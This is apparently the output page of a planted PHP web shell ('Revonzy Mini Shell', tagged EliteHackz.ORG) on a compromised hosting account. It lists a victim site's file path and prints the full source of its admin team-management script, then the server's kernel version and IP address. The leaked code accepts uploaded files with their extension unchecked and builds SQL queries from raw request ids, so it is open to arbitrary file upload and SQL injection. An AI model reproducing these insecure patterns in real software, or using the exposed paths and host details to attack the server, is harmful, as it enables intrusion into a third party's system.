Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/public_html/adminpanel/team/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/public_html/adminpanel/team/team_curd.php

<?php 
include('../../config.php'); 
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_LIBRARIES.'/classes/resize.php');
$db = new DBConn();

$path = ROOT."/image_upload/team/";
$path1 = ROOT."/image_upload/team/thumb/";


///*******************************************************
/// To Insert New category /////////////////////////////////
///*******************************************************
if($_POST['type']=="addTeam")
{

		/////////////////////////////////
		// Code for team member photo
		/////////////////////////////////
		$name = $_FILES['file']['name'];
		$tmp = $_FILES['file']['tmp_name'];
		$image=explode('.',$name);
		$actual_image_name = time().'.'.$image[1]; // rename the file name

		$shortDescription = mysql_real_escape_string($_POST['shortDescription']);
		$Description = mysql_real_escape_string($_POST['description']);

		if(move_uploaded_file($tmp, $path.$actual_image_name))
		{
			
			///////////////////////////////////////////////////////////
			// move the image in the images/team folder
			///////////////////////////////////////////////////////////
			$resizeObj1 = new resize($path.$actual_image_name);
			$resizeObj1 -> resizeImage(200, 200, 'auto');
			$resizeObj1 -> saveImage($path1.$actual_image_name, 100);

			$tblfield=array('Team_Member_Name','Designation','Short_Description','Description','Photo');
			$tblvalues=array($_POST['name'],$_POST['designation'],$shortDescription,$Description,$actual_image_name);
			$res=$db->valInsert("team",$tblfield,$tblvalues);
			
			if(empty($res))
			{
				echo 0;
			}
			else
			{
				echo 1;
			}

		}
	
		  
}

///*******************************************************
/// Edit Sub news
///*******************************************************
if($_POST['type']=="editTeam")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
	 	
		if($_REQUEST['imageupload']=='')
		{
			//Image Name
			$gallary = $_FILES['fileupload']['name'];			
			//Temp Image Image
			$tmp2 = $_FILES['fileupload']['tmp_name'];
		
			$image=explode('.',$gallary);
			$gallary_image = time().'.'.$image[1]; // rename the file name
			if(move_uploaded_file($tmp2, $path.$gallary_image))
			{
				// move the image in the thumb folder
				$resizeObj1 = new resize($path.$gallary_image);
				$resizeObj1 ->resizeImage(200,200,'auto');
				$resizeObj1 -> saveImage($path1.$gallary_image, 100);
			}
			
			//Unlink Old Image from folders
			$select=$db->ExecuteQuery("SELECT Photo FROM team WHERE Team_Id=".$_REQUEST['id']);
			if(count($select)>0)
			{
				unlink($path.$select[1]['Photo']);
				unlink($path1.$select[1]['Photo']);
		    }
			
		}
		else
		{
			$gallary_image=$_POST['imageupload'];		
		}


	 	$shortDescription = mysql_real_escape_string($_POST['shortDescription']);
		$Description = mysql_real_escape_string($_POST['description']);

		$tblfield=array('Team_Member_Name','Designation','Short_Description','Description','Photo');
		$tblvalues=array($_POST['name'],$_POST['designation'],$shortDescription,$Description,$gallary_image);
		$condition="Team_Id=".$_POST['id'];
	    $res=$db->updateValue('team',$tblfield,$tblvalues,$condition);
		if(!$res)
		{
			throw new Exception('0');
		}
     	
	
	   echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

///*******************************************************
/// Update Status
///*******************************************************
if($_POST['type']=="CheckStatus")
{
		$mysql=$db->ExecuteQuery("SELECT * FROM testimonials WHERE Test_Id='".$_REQUEST['id']."'");
		
		//Check Here Any Records IS Availble OR Not
		if(count($mysql)>0)
		{
			if($mysql[1]['Status']==1)
			{
				$status=0;
			}else
			{
				$status=1;
			
			}
			$tblfield=array('Status');
			$tblvalues=array($status);
			$condition="Test_Id=".$_POST['id'];
		    $res=$db->updateValue('testimonials',$tblfield,$tblvalues,$condition);
			if (empty($res))
			{
				//echo mysql_error();
				echo 0;
			}
			else
			{
				echo 1;
			}

		}
}


 ///*******************************************************
/// Delete row from testimonials table
///*******************************************************
if($_POST['type']=="delete")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
	
			$select=$db->ExecuteQuery("SELECT Photo FROM team WHERE Team_Id=".$_REQUEST['id']);

			//Delete Row
			$tblname="team";
			$condition="Team_Id=".$_REQUEST['id'];
			$res=$db->deleteRecords($tblname,$condition);
			if(!$res)
			{
				throw new Exception('0');
			}

			if(count($select)>0)
			{
				unlink($path.$select[1]['Photo']);
				unlink($path1.$select[1]['Photo']);
		    }
			 
	    echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42